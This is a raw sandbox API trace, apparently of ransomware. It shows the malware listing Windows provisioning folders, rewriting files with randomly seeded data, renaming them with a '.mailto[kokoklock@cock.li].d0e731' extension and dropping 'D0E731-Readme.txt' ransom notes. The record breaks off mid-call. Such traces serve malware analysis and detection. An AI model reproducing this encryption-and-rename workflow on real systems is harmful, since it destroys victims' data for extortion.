GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\d0e731-readme.txt")) returned 0x20 [0081.825] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0081.825] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476ca0) returned 1 [0081.825] RtlExitUserThread (Status=0x1) Thread: id = 1076 os_tid = 0x17d4 [0081.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3428c00 [0081.826] wcscpy (in: _Dest=0x3428c00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" [0081.826] wcscat (in: _Dest=0x3428c00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\" [0081.826] wcscat (in: _Dest=0x3428c00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*" [0081.826] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34aa608 [0081.826] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*", lpFindFileData=0x34aa608 | out: lpFindFileData=0x34aa608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33dfd18 [0081.827] wcscmp (_String1=".", _String2=".") returned 0 [0081.827] FindNextFileW (in: hFindFile=0x33dfd18, lpFindFileData=0x34aa608 | out: lpFindFileData=0x34aa608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.827] wcscmp (_String1="..", _String2=".") returned 1 [0081.827] wcscmp (_String1="..", _String2="..") returned 0 [0081.827] FindNextFileW (in: hFindFile=0x33dfd18, lpFindFileData=0x34aa608 | out: lpFindFileData=0x34aa608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0081.827] wcscmp (_String1="RunTime", _String2=".") returned 1 [0081.827] wcscmp (_String1="RunTime", _String2="..") returned 1 [0081.827] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431f10 [0081.827] wcscpy (in: _Dest=0x3431f10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" [0081.827] wcscat (in: _Dest=0x3431f10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\" [0081.827] wcscat (in: _Dest=0x3431f10, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" [0082.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0082.959] FindNextFileW (in: hFindFile=0x33dfd18, lpFindFileData=0x34aa608 | out: lpFindFileData=0x34aa608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.959] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.959] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.959] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f80a8 [0082.959] wcscpy (in: _Dest=0x33f80a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" [0082.959] wcscat (in: _Dest=0x33f80a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\" [0082.959] wcscat (in: _Dest=0x33f80a8, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" [0082.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f80a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x924 [0082.960] FindNextFileW (in: hFindFile=0x33dfd18, lpFindFileData=0x34aa608 | out: lpFindFileData=0x34aa608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.960] FindClose (in: hFindFile=0x33dfd18 | out: hFindFile=0x33dfd18) returned 1 [0082.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34aa608) returned 1 [0082.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428c00) returned 1 [0082.960] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428d70) returned 1 [0082.960] RtlExitUserThread (Status=0x0) Thread: id = 1077 os_tid = 0x17d8 [0081.827] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml")) returned 0x20 [0081.828] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0081.828] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0081.828] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x267bfbd8 | out: lpFileSize=0x267bfbd8*=5080) returned 1 [0081.828] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x13d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.828] ReadFile (in: hFile=0x514, lpBuffer=0x267bfbac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x267bfba8, lpOverlapped=0x0 | out: lpBuffer=0x267bfbac*, lpNumberOfBytesRead=0x267bfba8*=0x4, lpOverlapped=0x0) returned 1 [0081.829] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0081.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0081.830] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8d0 [0081.830] NtQuerySystemTime (in: CurrentTime=0x267bfb84 | out: CurrentTime=0x267bfb84*=132121176397247554) returned 0x0 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xa645cdbd [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x93c492fa [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x3a8b478d [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xee301c19 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x3704bdad [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x80148aad [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x5e4e94be [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xdd15f7dd [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xc74fbbca [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x6cd75972 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x568c300 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x16ac6b80 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x8f81a15e [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xdb61dae [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xcdc8f7b3 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x70ea23a1 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x38045c38 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xee447923 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x1f600e4b [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x5b9f875d [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x82a8068c [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x921c1187 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xc15a26 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x7e31ea5 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xa95a2e89 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x107368b1 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x5f15cecb [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x15351e3d [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x7e757f7 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x8551e779 [0081.830] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0xcc5a9139 [0081.831] RtlRandom (in: Seed=0x267bfb90 | out: Seed=0x267bfb90) returned 0x14ce4553 [0081.842] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.842] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cb00) returned 1 [0081.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480318 [0081.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ca60 [0081.842] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca60) returned 1 [0081.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.842] ReadFile (in: hFile=0x514, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x13d8, lpNumberOfBytesRead=0x267bfb84, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x267bfb84*=0x13d8, lpOverlapped=0x0) returned 1 [0081.843] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x267bfb4c | out: lpNewFilePointer=0x0) returned 1 [0081.843] WriteFile (in: hFile=0x514, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x13d8, lpNumberOfBytesWritten=0x267bfb80, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x267bfb80*=0x13d8, lpOverlapped=0x0) returned 1 [0081.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c970 [0081.844] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cc18 [0081.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc18) returned 1 [0081.844] WriteFile (in: hFile=0x514, lpBuffer=0x342c970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x267bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x342c970*, lpNumberOfBytesWritten=0x267bfb7c*=0x20, lpOverlapped=0x0) returned 1 [0081.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c970) returned 1 [0081.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0081.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.844] WriteFile (in: hFile=0x514, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x267bfba8, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x267bfba8*=0x8, lpOverlapped=0x0) returned 1 [0081.844] WriteFile (in: hFile=0x514, lpBuffer=0x267bfbc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x267bfba8, lpOverlapped=0x0 | out: lpBuffer=0x267bfbc0*, lpNumberOfBytesWritten=0x267bfba8*=0x4, lpOverlapped=0x0) returned 1 [0081.844] WriteFile (in: hFile=0x514, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x267bfba8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x267bfba8*=0x4, lpOverlapped=0x0) returned 1 [0081.844] WriteFile (in: hFile=0x514, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x267bfba8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x267bfba8*=0x6c, lpOverlapped=0x0) returned 1 [0081.844] WriteFile (in: hFile=0x514, lpBuffer=0x342c8a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x267bfba8, lpOverlapped=0x0 | out: lpBuffer=0x342c8a8*, lpNumberOfBytesWritten=0x267bfba8*=0x20, lpOverlapped=0x0) returned 1 [0081.844] WriteFile (in: hFile=0x514, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x267bfba8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x267bfba8*=0x4, lpOverlapped=0x0) returned 1 [0081.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c8a8) returned 1 [0081.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca10) returned 1 [0081.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0081.845] CloseHandle (hObject=0x514) returned 1 [0081.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x342a268 [0081.845] wcscpy (in: _Dest=0x342a268, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" [0081.845] wcscat (in: _Dest=0x342a268, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0081.845] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.846] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a268) returned 1 [0081.847] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0081.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6ab8 [0081.847] wcscpy (in: _Dest=0x33f6ab8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\" [0081.847] wcscat (in: _Dest=0x33f6ab8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\D0E731-Readme.txt" [0081.847] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\d0e731-readme.txt")) returned 0xffffffff [0081.847] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0081.854] WriteFile (in: hFile=0x514, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x267bfba4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x267bfba4*=0x481, lpOverlapped=0x0) returned 1 [0081.900] CloseHandle (hObject=0x514) returned 1 [0081.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6ab8) returned 1 [0081.900] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0081.901] RtlExitUserThread (Status=0x1) Thread: id = 1078 os_tid = 0x17dc [0081.906] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml")) returned 0x20 [0081.906] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0081.906] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0081.907] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2683fc6c | out: lpFileSize=0x2683fc6c*=271) returned 1 [0081.907] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.907] ReadFile (in: hFile=0x514, lpBuffer=0x2683fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2683fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2683fc40*, lpNumberOfBytesRead=0x2683fc3c*=0x4, lpOverlapped=0x0) returned 1 [0081.908] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cb00 [0081.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8a8 [0081.908] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c8f8 [0081.908] NtQuerySystemTime (in: CurrentTime=0x2683fc18 | out: CurrentTime=0x2683fc18*=132121176398028916) returned 0x0 [0081.908] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x64bdfbc4 [0081.908] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x2ee61853 [0081.908] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xf42dfb7b [0081.908] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xe02c8b87 [0081.908] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xe0bc5670 [0081.908] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x23cb4b26 [0081.908] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xf9ee86ce [0081.908] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x85a5e93a [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xcfee92e3 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xd49f69ed [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xe9fd488f [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x6897c56 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x3c3174ab [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x592e2244 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x8dfddf7f [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x82cbbff7 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x68913f2a [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x98ba7330 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xd072fa6f [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x7dc63d68 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x32946cca [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x30d74c22 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x5faff77e [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xef9cc61a [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0x275652ad [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xd1768d95 [0081.909] RtlRandom (in: Seed=0x2683fc24 | out: Seed=0x2683fc24) returned 0xb06d66f5 [0081.909] RtlRandom 